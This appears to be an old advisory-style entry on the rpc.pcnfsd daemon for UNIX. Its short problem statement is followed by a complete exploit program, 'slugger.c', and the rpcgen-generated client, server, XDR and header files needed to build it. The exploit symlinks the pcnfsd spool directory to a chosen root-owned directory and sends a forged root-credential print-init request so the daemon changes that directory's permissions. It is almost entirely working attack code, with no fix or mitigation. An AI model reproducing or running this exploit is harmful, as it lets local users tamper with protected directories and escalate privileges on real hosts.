COMMAND

    rpc.pcnfsd

SYSTEMS AFFECTED

    Any UNIX running pcnfsd.

PROBLEM

    Affect: Local users may chmod arbitrary directories on local hosts
    running pcnfsd.

------------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#include <memory.h> /* for memset */
#include "pc.h"

/* Default timeout can be changed using clnt_control() */
static struct timeval TIMEOUT = { 25, 0 };

void *
pcnfsd_null_1(void *argp, CLIENT *clnt)
{
        static char clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call(clnt, PCNFSD_NULL, xdr_void, argp, xdr_void, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return ((void *)&clnt_res);
}

auth_res *
pcnfsd_auth_1(auth_args *argp, CLIENT *clnt)
{
        static auth_res clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call(clnt, PCNFSD_AUTH, xdr_auth_args, argp, xdr_auth_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

pr_init_res *
pcnfsd_pr_init_1(pr_init_args *argp, CLIENT *clnt)
{
        static pr_init_res clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call(clnt, PCNFSD_PR_INIT, xdr_pr_init_args, argp, xdr_pr_init_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}

pr_start_res *
pcnfsd_pr_start_1(pr_start_args *argp, CLIENT *clnt)
{
        static pr_start_res clnt_res;

        memset((char *)&clnt_res, 0, sizeof(clnt_res));
        if (clnt_call(clnt, PCNFSD_PR_START, xdr_pr_start_args, argp, xdr_pr_start_res, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&clnt_res);
}
-------------------------------------------------------------------------------
/* slugger.c
 * By Josh D. April 19th 1994 AD
 *    usage: slugger directory
 * where 'directory' is an absolute path to a directory owned by
 * root.
 *    This code requires pcnfsd.x
 *    pcnfsd must be running.
 *    if the program doesn't work or gives you errors make sure that
 *    'daprinter' contains a valid printer destination.
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <netinet/in.h>
#include "pcnfsd.h" /* this should be created by rpcgen */


int main(argc, argv)
int argc;
char **argv;
{

   char   myhost[200];
   int    gids[8];
   struct hostent      *dahent;
   struct sockaddr_in  daserver;
   CLIENT *datsme;
   struct pr_init_args daargs;
   struct pr_init_res *dares;
   char daprinter[65];
   char dadir[65];
   char dapath[255];
   struct timeval tout;
   int ranysock=RPC_ANYSOCK;
   tout.tv_sec=60;
   tout.tv_usec=0;

   if (argv[1] == NULL)
   {  printf("bad arguments\n");
      exit(1);
   }

   argc--;argv++;

   strcpy(dadir, argv[0]);
   bzero(argv[0], strlen(argv[0]));

   argc--;argv++;

   /* this must be a valid printer */
   strcpy(daprinter, "lp");

   gethostname(myhost, 200);
   myhost[200]='\0';
   sprintf(dapath, "/usr/spool/pcnfs/");
   strcat(dapath, myhost);

   if (fork()==0)
      execlp("ln", "----", "-s", dadir, dapath);
   else
      wait(0);

   daserver.sin_family = AF_INET;
   daserver.sin_port = 0;
   {
      dahent = gethostbyname(myhost);
      if (dahent == NULL)
        printf("gethost failed.\n");
      bcopy(dahent->h_addr, &daserver.sin_addr.s_addr, 4);
   }

   datsme = clntudp_create(&daserver, 150001, 1,
   tout, &ranysock);
   clnt_control(datsme, CLSET_TIMEOUT, &tout);

   gids[0]=0;
   gids[1]=1;
   datsme->cl_auth = authunix_create(myhost, 0, 0, 2, gids);

   daargs.pia_client = myhost;
   daargs.pia_printername = daprinter;

   /* send the packet */
   if ( (dares = pcnfsd_pr_init_1(&daargs, datsme)) == NULL)
   {  printf("wierd error\n"); }

   remove(dapath);
   if (dares->pir_stat == PI_RES_OK)
   {  printf("Success\n");
      if (fork()==0)
         execlp("/bin/ls", "-----", "-ald", dadir, 0);
      else
         wait(0);
   }
   if (dares->pir_stat != PI_RES_OK)
   {  printf("Error: ");
      switch(dares->pir_stat)
      {
         case PI_RES_NO_SUCH_PRINTER :
            printf("No such printer\n");
            break;
         case PI_RES_OK :
            printf("Result Ok\?\?\n");
            break;
         case PI_RES_FAIL :
            printf("Generic Failure\n");
            break;
         default :
            printf("Unknown Error\n");
      }
   }
}
 ------------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#include "pc.h"
#include <stdio.h>
#include <stdlib.h>/* getenv, exit */
#include <rpc/pmap_clnt.h> /* for pmap_unset */
#include <string.h> /* strcmp */
#include <memory.h>
#include <sys/socket.h>
#include <netinet/in.h>

#ifdef __STDC__
#define SIG_PF void(*)(int)
#endif

static void
pcnfsd_1(struct svc_req *rqstp, register SVCXPRT *transp)
{
        union {
                auth_args pcnfsd_auth_1_arg;
                pr_init_args pcnfsd_pr_init_1_arg;
                pr_start_args pcnfsd_pr_start_1_arg;
        } argument;
        char *result;
        xdrproc_t xdr_argument, xdr_result;
        char *(*local)(char *, struct svc_req *);

        switch (rqstp->rq_proc) {
        case PCNFSD_NULL:
                xdr_argument = (xdrproc_t) xdr_void;
                xdr_result = (xdrproc_t) xdr_void;
                local = (char *(*)(char *, struct svc_req *)) pcnfsd_null_1_svc;
                break;

        case PCNFSD_AUTH:
                xdr_argument = (xdrproc_t) xdr_auth_args;
                xdr_result = (xdrproc_t) xdr_auth_res;
                local = (char *(*)(char *, struct svc_req *)) pcnfsd_auth_1_svc;
                break;

        case PCNFSD_PR_INIT:
                xdr_argument = (xdrproc_t) xdr_pr_init_args;
                xdr_result = (xdrproc_t) xdr_pr_init_res;
                local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_init_1_svc;
                break;

        case PCNFSD_PR_START:
                xdr_argument = (xdrproc_t) xdr_pr_start_args;
                xdr_result = (xdrproc_t) xdr_pr_start_res;
                local = (char *(*)(char *, struct svc_req *)) pcnfsd_pr_start_1_svc;
                break;

        default:
                svcerr_noproc(transp);
                return;
        }
        (void) memset((char *)&argument, 0, sizeof (argument));
        if (!svc_getargs(transp, xdr_argument, (caddr_t) &argument)) {
                svcerr_decode(transp);
                return;
        }
        result = (*local)((char *)&argument, rqstp);
        if (result != NULL && !svc_sendreply(transp, xdr_result, result)) {
                svcerr_systemerr(transp);
        }
        if (!svc_freeargs(transp, xdr_argument, (caddr_t) &argument)) {
                fprintf(stderr, "unable to free arguments");
                exit(1);
        }
        return;
}

int
main(int argc, char **argv)
{
        register SVCXPRT *transp;

        (void) pmap_unset(PCNFSD, PCNFSD_VERS);

        transp = svcudp_create(RPC_ANYSOCK);
        if (transp == NULL) {
                fprintf(stderr, "cannot create udp service.");
                exit(1);
        }
        if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_UDP)) {
                fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, udp).");
                exit(1);
        }

        transp = svctcp_create(RPC_ANYSOCK, 0, 0);
        if (transp == NULL) {
                fprintf(stderr, "cannot create tcp service.");
                exit(1);
        }
        if (!svc_register(transp, PCNFSD, PCNFSD_VERS, pcnfsd_1, IPPROTO_TCP)) {
                fprintf(stderr, "unable to register (PCNFSD, PCNFSD_VERS, tcp).");
                exit(1);
        }

        svc_run();
        fprintf(stderr, "svc_run returned");
        exit(1);
        /* NOTREACHED */
}
-----------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#include "pc.h"

bool_t
xdr_arstat(XDR *xdrs, arstat *objp)
{

         register long *buf;

         if (!xdr_enum(xdrs, (enum_t *)objp)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_pirstat(XDR *xdrs, pirstat *objp)
{

         register long *buf;

         if (!xdr_enum(xdrs, (enum_t *)objp)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_psrstat(XDR *xdrs, psrstat *objp)
{

         register long *buf;

         if (!xdr_enum(xdrs, (enum_t *)objp)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_myself(XDR *xdrs, myself *objp)
{

         register long *buf;

         if (!xdr_string(xdrs, objp, USERLEN)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_genstr(XDR *xdrs, genstr *objp)
{

         register long *buf;

         if (!xdr_string(xdrs, objp, GENERIC)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_spool(XDR *xdrs, spool *objp)
{

         register long *buf;

         if (!xdr_string(xdrs, objp, SPOOLLEN)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_auth_args(XDR *xdrs, auth_args *objp)
{

         register long *buf;

         if (!xdr_myself(xdrs, &objp->aa_ident)) {
                 return (FALSE);
         }
         if (!xdr_genstr(xdrs, &objp->aa_password)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_auth_res(XDR *xdrs, auth_res *objp)
{

         register long *buf;

         if (!xdr_arstat(xdrs, &objp->ar_stat)) {
                 return (FALSE);
         }
         if (!xdr_long(xdrs, &objp->ar_uid)) {
                 return (FALSE);
         }
         if (!xdr_long(xdrs, &objp->ar_gid)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_pr_init_args(XDR *xdrs, pr_init_args *objp)
{

         register long *buf;

         if (!xdr_genstr(xdrs, &objp->pia_client)) {
                 return (FALSE);
         }
         if (!xdr_genstr(xdrs, &objp->pia_printername)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_pr_init_res(XDR *xdrs, pr_init_res *objp)
{

         register long *buf;

         if (!xdr_pirstat(xdrs, &objp->pir_stat)) {
                 return (FALSE);
         }
         if (!xdr_spool(xdrs, &objp->pir_spooldir)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_pr_start_args(XDR *xdrs, pr_start_args *objp)
{

         register long *buf;

         if (!xdr_genstr(xdrs, &objp->psa_client)) {
                 return (FALSE);
         }
         if (!xdr_genstr(xdrs, &objp->psa_printername)) {
                 return (FALSE);
         }
         if (!xdr_genstr(xdrs, &objp->psa_username)) {
                 return (FALSE);
         }
         if (!xdr_genstr(xdrs, &objp->psa_filename)) {
                 return (FALSE);
         }
         if (!xdr_genstr(xdrs, &objp->psa_options)) {
                 return (FALSE);
         }
        return (TRUE);
}

bool_t
xdr_pr_start_res(XDR *xdrs, pr_start_res *objp)
{

         register long *buf;

         if (!xdr_psrstat(xdrs, &objp->psr_stat)) {
                 return (FALSE);
         }
        return (TRUE);
}
----------------------------------------------------------------------------
/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#ifndef _PC_H_RPCGEN
#define _PC_H_RPCGEN

#include <rpc/rpc.h>


enum arstat {
        AUTH_RES_OK = 0,
        AUTH_RES_FAKE = 1,
        AUTH_RES_FAIL = 2,
};
typedef enum arstat arstat;
#ifdef __cplusplus
extern "C" bool_t xdr_arstat(XDR *, arstat*);
#elif __STDC__
extern  bool_t xdr_arstat(XDR *, arstat*);
#else /* Old Style C */
bool_t xdr_arstat();
#endif /* Old Style C */


enum pirstat {
        PI_RES_OK = 0,
        PI_RES_NO_SUCH_PRINTER = 1,
        PI_RES_FAIL = 2,
};
typedef enum pirstat pirstat;
#ifdef __cplusplus
extern "C" bool_t xdr_pirstat(XDR *, pirstat*);
#elif __STDC__
extern  bool_t xdr_pirstat(XDR *, pirstat*);
#else /* Old Style C */
bool_t xdr_pirstat();
#endif /* Old Style C */


enum psrstat {
        PS_RES_OK = 0,
        PS_RES_ALREADY = 1,
        PS_RES_NULL = 2,
        PS_RES_NO_FILE = 3,
        PS_RES_FAIL = 4,
};
typedef enum psrstat psrstat;
#ifdef __cplusplus
extern "C" bool_t xdr_psrstat(XDR *, psrstat*);
#elif __STDC__
extern  bool_t xdr_psrstat(XDR *, psrstat*);
#else /* Old Style C */
bool_t xdr_psrstat();
#endif /* Old Style C */

#define USERLEN 32
#define GENERIC 64
#define SPOOLLEN 255

typedef char *myself;
#ifdef __cplusplus
extern "C" bool_t xdr_myself(XDR *, myself*);
#elif __STDC__
extern  bool_t xdr_myself(XDR *, myself*);
#else /* Old Style C */
bool_t xdr_myself();
#endif /* Old Style C */


typedef char *genstr;
#ifdef __cplusplus
extern "C" bool_t xdr_genstr(XDR *, genstr*);
#elif __STDC__
extern  bool_t xdr_genstr(XDR *, genstr*);
#else /* Old Style C */
bool_t xdr_genstr();
#endif /* Old Style C */


typedef char *spool;
#ifdef __cplusplus
extern "C" bool_t xdr_spool(XDR *, spool*);
#elif __STDC__
extern  bool_t xdr_spool(XDR *, spool*);
#else /* Old Style C */
bool_t xdr_spool();
#endif /* Old Style C */


struct auth_args {
        myself aa_ident;
        genstr aa_password;
};
typedef struct auth_args auth_args;
#ifdef __cplusplus
extern "C" bool_t xdr_auth_args(XDR *, auth_args*);
#elif __STDC__
extern  bool_t xdr_auth_args(XDR *, auth_args*);
#else /* Old Style C */
bool_t xdr_auth_args();
#endif /* Old Style C */


struct auth_res {
        enum arstat ar_stat;
        long ar_uid;
        long ar_gid;
};
typedef struct auth_res auth_res;
#ifdef __cplusplus
extern "C" bool_t xdr_auth_res(XDR *, auth_res*);
#elif __STDC__
extern  bool_t xdr_auth_res(XDR *, auth_res*);
#else /* Old Style C */
bool_t xdr_auth_res();
#endif /* Old Style C */


struct pr_init_args {
        genstr pia_client;
        genstr pia_printername;
};
typedef struct pr_init_args pr_init_args;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_init_args(XDR *, pr_init_args*);
#elif __STDC__
extern  bool_t xdr_pr_init_args(XDR *, pr_init_args*);
#else /* Old Style C */
bool_t xdr_pr_init_args();
#endif /* Old Style C */


struct pr_init_res {
        enum pirstat pir_stat;
        spool pir_spooldir;
};
typedef struct pr_init_res pr_init_res;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_init_res(XDR *, pr_init_res*);
#elif __STDC__
extern  bool_t xdr_pr_init_res(XDR *, pr_init_res*);
#else /* Old Style C */
bool_t xdr_pr_init_res();
#endif /* Old Style C */


struct pr_start_args {
        genstr psa_client;
        genstr psa_printername;
        genstr psa_username;
        genstr psa_filename;
        genstr psa_options;
};
typedef struct pr_start_args pr_start_args;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_start_args(XDR *, pr_start_args*);
#elif __STDC__
extern  bool_t xdr_pr_start_args(XDR *, pr_start_args*);
#else /* Old Style C */
bool_t xdr_pr_start_args();
#endif /* Old Style C */


struct pr_start_res {
        enum psrstat psr_stat;
};
typedef struct pr_start_res pr_start_res;
#ifdef __cplusplus
extern "C" bool_t xdr_pr_start_res(XDR *, pr_start_res*);
#elif __STDC__
extern  bool_t xdr_pr_start_res(XDR *, pr_start_res*);
#else /* Old Style C */
bool_t xdr_pr_start_res();
#endif /* Old Style C */


#define PCNFSD ((u_long)150001)
#define PCNFSD_VERS ((u_long)1)

#ifdef __cplusplus
#define PCNFSD_NULL ((u_long)0)
extern "C" void * pcnfsd_null_1(void *, CLIENT *);
extern "C" void * pcnfsd_null_1_svc(void *, struct svc_req *);
#define PCNFSD_AUTH ((u_long)1)
extern "C" auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
extern "C" auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
#define PCNFSD_PR_INIT ((u_long)2)
extern "C" pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
extern "C" pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
#define PCNFSD_PR_START ((u_long)3)
extern "C" pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
extern "C" pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);

#elif __STDC__
#define PCNFSD_NULL ((u_long)0)
extern  void * pcnfsd_null_1(void *, CLIENT *);
extern  void * pcnfsd_null_1_svc(void *, struct svc_req *);
#define PCNFSD_AUTH ((u_long)1)
extern  auth_res * pcnfsd_auth_1(auth_args *, CLIENT *);
extern  auth_res * pcnfsd_auth_1_svc(auth_args *, struct svc_req *);
#define PCNFSD_PR_INIT ((u_long)2)
extern  pr_init_res * pcnfsd_pr_init_1(pr_init_args *, CLIENT *);
extern  pr_init_res * pcnfsd_pr_init_1_svc(pr_init_args *, struct svc_req *);
#define PCNFSD_PR_START ((u_long)3)
extern  pr_start_res * pcnfsd_pr_start_1(pr_start_args *, CLIENT *);
extern  pr_start_res * pcnfsd_pr_start_1_svc(pr_start_args *, struct svc_req *);

#else /* Old Style C */
#define PCNFSD_NULL ((u_long)0)
extern  void * pcnfsd_null_1();
extern  void * pcnfsd_null_1_svc();
#define PCNFSD_AUTH ((u_long)1)
extern  auth_res * pcnfsd_auth_1();
extern  auth_res * pcnfsd_auth_1_svc();
#define PCNFSD_PR_INIT ((u_long)2)
extern  pr_init_res * pcnfsd_pr_init_1();
extern  pr_init_res * pcnfsd_pr_init_1_svc();
#define PCNFSD_PR_START ((u_long)3)
extern  pr_start_res * pcnfsd_pr_start_1();
extern  pr_start_res * pcnfsd_pr_start_1_svc();
#endif /* Old Style C */

#endif /* !_PC_H_RPCGEN */